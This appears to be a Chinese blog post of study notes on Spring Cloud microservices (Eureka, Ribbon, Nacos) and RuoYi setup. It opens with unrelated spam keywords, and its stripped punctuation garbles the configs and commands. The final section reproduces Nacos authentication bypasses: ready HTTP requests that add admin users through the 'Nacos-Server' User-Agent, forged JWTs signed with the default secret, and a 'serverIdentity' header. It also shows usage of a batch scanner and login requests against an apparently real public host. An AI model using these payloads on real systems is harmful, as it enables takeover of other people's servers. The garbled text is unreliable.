截获网站流量怎么做,建设网站公司 昆山,wordpress充值提现,织梦确定网站风格微服务技术栈 一、微服务 介绍了解1 架构结构案例与 springboot 兼容关系拆分案例拆分服务拆分-服务远程调用 2 eureka注册中心Eureka-提供者与消费者Eureka-eureka原理分析Eureka-搭建eureka服务Eureka-服务注册Eureka-服务发现 3 Ribbon组件 负载均衡Ribbon-负载均衡原理Ribb… 微服务技术栈 一、微服务 介绍了解1 架构结构案例与 springboot 兼容关系拆分案例拆分服务拆分-服务远程调用 2 eureka注册中心Eureka-提供者与消费者Eureka-eureka原理分析Eureka-搭建eureka服务Eureka-服务注册Eureka-服务发现 3 Ribbon组件 负载均衡Ribbon-负载均衡原理Ribbon-负载均衡策略Ribbon-饥饿加载 4 nacos 阿里注册中心Nacos-快速入门Nacos-服务多级存储模型Nacos-NacosRule负载均衡Nacos-服务实例的权重设置Nacos-环境隔离Nacos和Eureka的对比Nacos实现配置管理Nacos配置管理-微服务配置拉取Nacos配置管理-配置热更新Nacos配置管理-多环境配置共享Nacos配置管理-nacos集群搭建 安装NacosJava快速开发框架_若依——Ruoyi-SpringCloud版本-3.下载源码并导入数据库 安装nacos准备工作运行系统 Nacos 漏洞复现介绍未授权添加用户 一、微服务 介绍了解
分布式架构的一种 把服务进行 拆分 springcloud 解决了 服务拆分过程中的 治理问题 与单体应用 进行区分 单体架构 把业务所有功能集中开发打成一个包部署 每个模块独立开发和部署服务集群 服务之间互相调用 出现分布式技术 Webservice ESB Hession Dubbo
异步通信 消息队列秒杀 敏捷开发思想 高内聚低耦合
微服务 持续集成 1 架构结构案例
微服务方案 技术框架落地 eg springcloud 阿里dubbo
2012 dubbo 开源 “半吊子”微服务
2015-2017 springcloud整合 封装了Feign客户端 发http 请求 Restful接口 Spring Cloud Bus 自动通知 热更新
实现了同样的 接口规范 springcloud 模块
统一配置管理服务注册发现请求路由服务远程调用负载均衡断路 基于 springboot 自动装配
与 springboot 兼容关系 Hoxton SR10 boot2.3.x
拆分案例
拆分
功能模块进行拆分 单一职责 即 不同微服务 不重复开发相同业务 数据独立 不要访问其他微服务数据库 业务接口 每个模块将自己的业务暴露为接口供其他服务调用 且没法关联查询 将工程文件夹放到 IDE 的 工作空间 可以看到项目所有的微服务
项目结构
父工程主要定义了依赖版本数据分离 业务逻辑 返回订单对象 符合 微服务 拆分 的单一职责
服务拆分-服务远程调用 spring的 HTTP 请求工具 用Bean的方式 把RestTemplate 注册 为spring容器 的 对象 就可以在任何地方 以 注入的方式 来用 Bean的注入 只能放在 配置类里面 带有 main的 启动类 本身也是配置类
在这创建 RestTemplate对象 跟入 orderservice 先把 resttemplate注入进spring 容器里来 http请求 返回 json 但在这里需要一个user对象 resttemplate 会 给让你输入一个 返回对象
2 eureka注册中心
Eureka-提供者与消费者 概念 是 业务中谁对谁而言 既可以是 提供 也可以是 消费者
Eureka-eureka原理分析 ip 端口 是 硬编码在 代码中的 不方便 环境部署 集群 不好布置
注册中心 记录管理微服务
Eureka-搭建eureka服务 starter -----spring boot里面的 自动装配 注解是 eureka server 自动装配的 开关
创建 maven模块 父工程pom 已经把 版本依赖做好了 所有组件版本信息 点进去看 加个 springboot注解 psvm 加上 eureka 自动装配的 开关注解启动类 上 做注解
新建 配置文件
eureka 集群 所以 自己也将自己的 微服务 注册 注册到eureka 的 实例
windows 显示的 是 计算机名 本来是 ip
Eureka-服务注册 编辑eureka地址信息 yml文件 不许 出现两个 根名称 启动两个实例 -D 参数 yml 文件 内的 server.port 实例列表
Eureka-服务发现 查看 order services 是 负载均衡 走的 哪个
3 Ribbon组件 负载均衡
Ribbon-负载均衡原理 LoadBalancer 标记 拦截 实现 http 请求 接口 接口定义的 方法名字 intercept 同样实现了intercept 方法 下断点 取得主机名 去 做 服务拉取 Ribbon load balamcer对象 步入 这个 execute 方法 把这个 service id 交给 getloadBanlancer处理 得到 loadbalancer 对象
动态服务列表 负载均衡器 在这个对象里面 就拉取到了 服务列表
整个步骤 根据 服务名称 拉取 服务列表 getserver 开始负载均衡 进入 getserver 方法 选择 server 步入 找一个 super 父亲的 选择 走到了 rule 的 选择
要有一个 规则 从 动态 server 里 选 这个 IRule 是一个 接口I 规则接口 那就会有实现类
IDEA Ctrl H 查看实现类 比如 轮询负载均衡 随机
默认规则 ZoneAvoidance 返回来了 选择的 8081
Ribbon-负载均衡策略
IRule 接口 继承关系 图 ZoneAvoidance 这个 它爷爷 也是 轮询 在 服务 注册 时 可以 设置 zone的 值 杭州上海
配置类内 修改 规则 用 Irule 的 bean 作为 一个 对象 注入到 spring 容器
可以 实现 Irule 各种类型 全局的 针对 某个 微服务的 配置
Ribbon-饥饿加载 创建 load balance Client 还要做 服务拉取 时间较长 拉取 时 创建了 动态 serverlist load balancer 等 耗费时间 - 懒加载 第二次 server list 会 缓存到内存中 与 spring boot 一样 随着 tomcat 启动 就完成了 springmvc 容器 的 初始化
4 nacos 阿里注册中心 服务注册 与发现 分布式 配置
8848 默认端口 -m 模式 单启动 Nacos-快速入门 通用 在这里 定义了 接口规范
定义了服务发现 与 服务注册 Eureka 和 nacos 都要遵循 这些接口
所以 服务者 消费者 代码 不用变 需要 更改 依赖 和 地址 添加 父管理依赖 添加 服务注册 启动器依赖 添加yml 地址
Nacos-服务多级存储模型 Nacos-NacosRule负载均衡 nacos 地区 随机 选择 服务 如果 本地 没有 服务 访问 外地 同服务 同时 警告
Nacos-服务实例的权重设置 调整成0 时 权重 不会被 访问
平滑升级业务
Nacos-环境隔离
注册中心 - 数据中心 对 服务 进行 隔离 命名空间 - group 属性
服务集群–下一级–》 实例
对实例的划分 是 对业务 进行的 划分 地域
命名空间 是 对于 开发生产 测试 环境 的划分 比如 把 业务相似度 比较高的 服务 放在 一个 分组
订单—支付 放一块 默认 public 添加 命名 空间的 ID Nacos和Eureka的对比
会在 动态服务 loadbalancer 里拉取 缓存 server 列表 周期30s
区别 在于 提供者的 健康检测
划分 提供者 为 临时 实例 和非临时实例 临时 实例 会 直接剔除 非临时实例 会 等待 康复 如果 提供者 挂掉了 nacos 主动 推送 变更 消息 非临时实例 不会被 剔除掉 等待 复活 nacos 强调 AP 数据的 可用性 CP 强调 可靠性 和 一致性 Nacos 配置管理 功能
Feign 声明式远程调用 比较 Resttemplate
Nacos实现配置管理 配置文件 - 关联服务重启 - 热更新 不用重启 就能 配置 生效
配置管理服务 记录核心配置
读取配置 结合 本地配置
DataID 服务名称 profile运行环境名 dev/test/prod.yaml 模版 类型 Nacos配置管理-微服务配置拉取 去掉重复配置
用 Value 注解 读取配置 Nacos配置管理-配置热更新 属性刷新 配置 自动加载 注解 定义一个 成员变量 添加 data注解 getset 方法
用 component 把这个类变成 spring 容器的 一个 bean 注入进来 用getdateformat 获取
Nacos配置管理-多环境配置共享
开发生产测试 环境 配置值 一致 另起一个 spring 测试 微服务 环境 配置文件 的 优先级
以 userservice 为准
共享 与 有环境的 以 环境为准
Nacos配置管理-nacos集群搭建 nginx 有 反向代理 和 负载均衡 的 功能 粘贴到 http 的 内部 安装Nacos
输入命令
wget https://github.com/alibaba/nacos/releases/download/1.2.0/nacos-server-1.2.0.tar.gzhttps://github.com/alibaba/nacos/releasestar -zxvf nacos-server-1.4.1.tar.gz修改配置文件 支持mysql,修改nacos/conf/application.properties文件 增加支持mysql数据源配置目前只支持mysql 添加mysql数据源的url、用户名和密码 vi conf/application.propertiesspring.datasource.platformmysql### Count of DB:
db.num1### Connect URL of DB:
db.url.0jdbc:mysql://127.0.0.1:3306/nacos?characterEncodingutf8connectTimeout1000socketTimeout3000autoReconnecttrueuseUnicodetrueuseSSLfalseserverTimezoneUTC
db.user.0nacos
db.password.0nacos将java安装包传到/home/java中
tar zxvf 压缩包名称解压就安装完成了之后我们要进行环境配置了
vi /etc/profileexport JAVA_HOME/home/java/jdk1.8.0_231export CLASSPATH.:$JAVA_HOME/jre/lib/rt.jar:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jarexport PATH$PATH:$JAVA_HOME/bin 生效命令
source /etc/profile访问地址为
http://127.0.0.1:8848/nacos 启动服务 切换到bin目录执行命令sh startup.sh -m standalone 关闭服务 切换到bin目录执行命令sh shutdown.sh
注意
此版本必须安装jdk1.8版本不然启动时会报错默认没有开启用户名和密码登录
需要修改application.properties文件中的nacos.core.auth.enabledtrue 才能开启用户名密码登录
用户名/密码nacos/nacos Nacos 修改mysql中默认账号密码 数据库会有一个默认用户。
这时候默认的用户名是nacos nacos这要是放到公网上肯定是不安全的接下来告诉大家怎么修改。
我们新建一个springboot项目加入一个依赖 spring-boot-starter-security 只需要这一个就好了。
dependencygroupIdorg.springframework.boot/groupIdartifactIdspring-boot-starter-security/artifactIdversion2.1.4.RELEASE/version
/dependency然后写个类执行以下 new BCryptPasswordEncoder().encode(“你的密码”)就会生成新的加密过的密码。
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;public class SetPassword {public static void main(String[] args) {System.out.println(new BCryptPasswordEncoder().encode(新密码));}
}接下来就是复制密码去数据库替换默认的密码。默认用户是nacos 也可以修改那个是明文的可以直接改但是如果要修改用户名的话要修改roles表里用户。 切换目录cd /usr/local/nacos/bin
单机模式启动sh startup.sh -m standalone参考资料 https://www.jianshu.com/p/55091f2ad6e1 https://blog.csdn.net/leaf_dai/article/details/103380851
Java快速开发框架_若依——Ruoyi-SpringCloud版本-3.下载源码并导入数据库 安装nacos 准备工作 JDK 1.8 (推荐1.8版本)
Mysql 5.7.0 (推荐5.7版本)
Redis 3.0
Maven 3.0
Node 10
nacos 1.1.0
sentinel 1.6.0运行系统 #后端运行
1、前往Gitee下载页面(https://gitee.com/y_project/RuoYi-Cloud (opens new window))
下载解压到工作目录 2、导入到Eclipse菜单 File - Import
然后选择 Maven - Existing Maven Projects点击 Next 按钮 选择工作目录然后点击 Finish 按钮即可成功导入。
Eclipse会自动加载Maven依赖包初次加载会比较慢根据自身网络情况而定 3、创建数据库ry-cloud并导入数据脚本ry_2021xxxx.sql必须quartz.sql可选4、创建数据库ry-config并导入数据脚本ry_config_2021xxxx.sql必须https://nacos.io/zh-cn/docs/quick-start.htmlhttps://github.com/alibaba/nacos/releases5、配置nacos持久化修改conf/application.properties文件增加支持mysql数据源配置# db mysql
spring.datasource.platformmysql
db.num1
db.url.0jdbc:mysql://localhost:3306/ry-config?characterEncodingutf8connectTimeout1000socketTimeout3000autoReconnecttrue
db.userroot
db.passwordpassword启动命令(standalone代表着单机模式运行非集群模式):cmd startup.cmd -m standalone尽量 不要带中文 打jar包 报错高并发 -----好多 连接
高可用 ----- 一个宕机 不影响其他
每个应用微服务 ---- 开启多个对应不同端口Nacos 漏洞复现
介绍
Nacos全称为Naming and Configuration Service是一个开源的动态服务发现、配置和服务管理平台由阿里巴巴集团开源。它可以帮助开发者更好地构建云原生应用和微服务架构。Nacos的主要功能和特点包括1. 服务发现与注册Nacos提供了高可用的服务注册和发现功能允许开发者按需注册、发现和注销服务实例。它支持多种服务发现协议如DNS、HTTP和gRPC使得服务之间的通信更加简单和可靠。2. 动态配置管理Nacos允许开发者将配置信息集中管理并支持动态刷新。通过Nacos开发者可以轻松修改、发布和回滚配置而无需重启应用程序或重新部署。3. 服务路由与负载均衡Nacos提供了灵活的服务路由和负载均衡功能能够根据不同的场景和策略自动进行请求转发和负载均衡。4. 集群和扩展性Nacos支持横向扩展可以构建高可用的集群部署。开发者可以根据应用程序的需求灵活扩展Nacos实例数量以提供更高的可用性和性能。5. 健康检查与故障转移Nacos能够对注册的服务进行健康检查并自动剔除不健康的实例。在实例出现故障或不可用时Nacos还能够进行故障转移保证服务的连续可用性。6. 社区支持和生态系统Nacos拥有活跃的开发者社区和广泛的应用场景。除了核心功能之外Nacos还提供了丰富的插件和扩展以满足不同应用场景的需求。Nacos是一个开源项目源代码托管在GitHub上并采用Apache License 2.0开源许可证。虽然Nacos由阿里巴巴集团发起但它是一个面向全球开发者社区的开源项目并得到了全球开发者的参与和贡献。
未授权添加用户
https://mp.weixin.qq.com/s/iCMiFGQnsqqfvqhbGxZ8pQ Nacos 是阿里巴巴推出来的一个新开源项目是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集可以快速实现动态服务发现、服务配置、服务元数据及流量管理。该漏洞发生在nacos在进行认证授权操作时会判断请求的user-agent是否为”Nacos-Server”如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。
但是由于配置的过于简单并且将协商好的user-agent设置为Nacos-Server直接硬编码在了代码里导致了漏洞的出现。
并且利用这个未授权漏洞攻击者可以获取到用户名密码等敏感信息。影响版本: Nacos 2.0.0-ALPHA.1查看用户
访问路径可以查看用户列表包含密码alibaba-nacos-v1-auth-bypass/nacos/v1/auth/users?pageNo1pageSize100
User-Agent: Nacos-Server添加新用户
1、访问url2、请求改为post把修改User-Agent头改为“Nacos-Server”3、构造数据包添加一个admin用户然后发送POST请求返回为200表示创建用户成功4、用新账户密码登录则登录成功漏洞修复
升级Nacos版本到最新版发送如下数据包成功创建用户POST /nacos/v1/auth/users HTTP/1.1
Host: 172.16.244.174:8848
User-Agent: Nacos-Server
Accept: application/json, text/plain, */*
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2
Connection: close
Content-Length: 34usernametest111passwordtest1111https://www.secpulse.com/archives/199642.htmlhttps://jwt.io/#debugger-io
https://www.beijing-time.org/shijianchuo/eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbWluZzExMTExMSIsImV4cCI6IjE2OTE5NTE5ODEifQ.sYrKZFyrjGpw5IHiy4aA1SVlqPxpVEeHxXhTndTyWgUPOST /nacos/v1/auth/users/login HTTP/1.1
Host: 192.168.30.100:8848
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://192.168.30.100:8848
Connection: close
Referer: http://192.168.30.100:8848/nacos/index.html
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY4MjMwODgwMH0.VJRpZj-TyDFbPKioQTrrWbQ-HlX_ZhkcuT_RVRniAA4usernamenajcospasswordnacjos方式二默认未授权
发送如下数据包成功创建用户POST /nacos/v1/auth/users HTTP/1.1
Host: 192.168.31.112:8848
Content-Type: application/x-www-form-urlencoded
Content-Length: 31usernametest02passwordtest02 SecretKey012345678901234567890123456789012345678901234567890123456789发送如下数据包成功创建用户
POST /nacos/v1/auth/users?accessTokeneyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3OTA4NTg3NX0.WT8N_acMlow8KTHusMacfvr84W4osgSdtyHu9p49tvc HTTP/1.1
Host: 192.168.31.112:8848
Content-Type: application/x-www-form-urlencoded
Content-Length: 31usernametest03passwordtest03方式四默认头部
发送如下数据包成功创建用户
POST /nacos/v1/auth/users HTTP/1.1
Host: 192.168.31.112:8848
Content-Type: application/x-www-form-urlencoded
serverIdentity: security
Content-Length: 31usernametest05passwordtest05GET /nacos/v1/auth/users?accessTokeneyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQpageNo1pageSize9 HTTP/1.1
Host: 172.25.0.249:8848
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://192.168.30.100:8848
Connection: close
Referer: http://nacos.ts.taslyy.cn:3080/nacos/index.html
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6NDY3ODk3MDQyM30.lnslDXAElX0J_STPpWmBOmiQaVcU3eK3F7McFehD_6Iusernameaminghackpasswordyydsamingpython3 Nacos_default.token.py -u [http://127.0.0.1:1111](http://127.0.0.1:1111/) 单个url测试python3 Nacos_default.token.py -a [http://127.0.0.1:1111](http://127.0.0.1:1111/) 添加用户m2orz/zzz321..python3 Nacos_default.token.py -f url.txt 批量检测payload1:[http://xxx.com/nacos/v1/auth/users?accessTokeneyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQpageNo1pageSize9](http://xxx.com/nacos/v1/auth/users?accessTokeneyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQpageNo1pageSize9)payload2:[http://xxx.com/nacos/v1/auth/users?accessTokenpageNo1pageSize9](http://xxx.com/nacos/v1/auth/users?accessTokenpageNo1pageSize9)扫描结束后会在当前目录生成存在漏洞url的vuln.txthttp://nacos.ts.taslyy.cn:3080/nacos/v1/auth/users?accessTokeneyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQpageNo1pageSize9https://www.secpulse.com/archives/199642.htmlnacos nacos默认未授权
POST /nacos/v1/auth/users HTTP/1.1
Host: 192.168.31.112:8848
Content-Type: application/x-www-form-urlencoded
Content-Length: 31usernametest02passwordamingmm123123默认JWT-secret
nacos/conf/application.properties中设置nacos.core.auth.enabledtrue开启权限认证POST /nacos/v1/auth/users?accessTokeneyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3OTA4NTg3NX0.WT8N_acMlow8KTHusMacfvr84W4osgSdtyHu9p49tvc HTTP/1.1
Host: 192.168.31.112:8848
Content-Type: application/x-www-form-urlencoded
Content-Length: 31usernametest03passwordamingmm123123默认头部POST /nacos/v1/auth/users HTTP/1.1
Host: 192.168.31.112:8848
Content-Type: application/x-www-form-urlencoded
serverIdentity: security
Content-Length: 31usernametest05passwordamingmm123123低版本(nacos1.4.1)默认白名单UA
1.在nacos/conf/application.properties中设置
nacos.core.auth.enable.userAgentAuthWhitetrue开启白名单UAhttps://www.box3.cn/tools/jwt.html
https://jwt.io/#debugger-ioPOST /nacos/v1/auth/users/login HTTP/1.1
Host: nacos.ts.taslyy.cn:3080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://192.168.30.100:8848
Connection: close
Referer: http://nacos.ts.taslyy.cn:3080/nacos/index.html
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6NDY3ODk3MDQyM30.lnslDXAElX0J_STPpWmBOmiQaVcU3eK3F7McFehD_6Iusernameaminghackpasswordyydsaming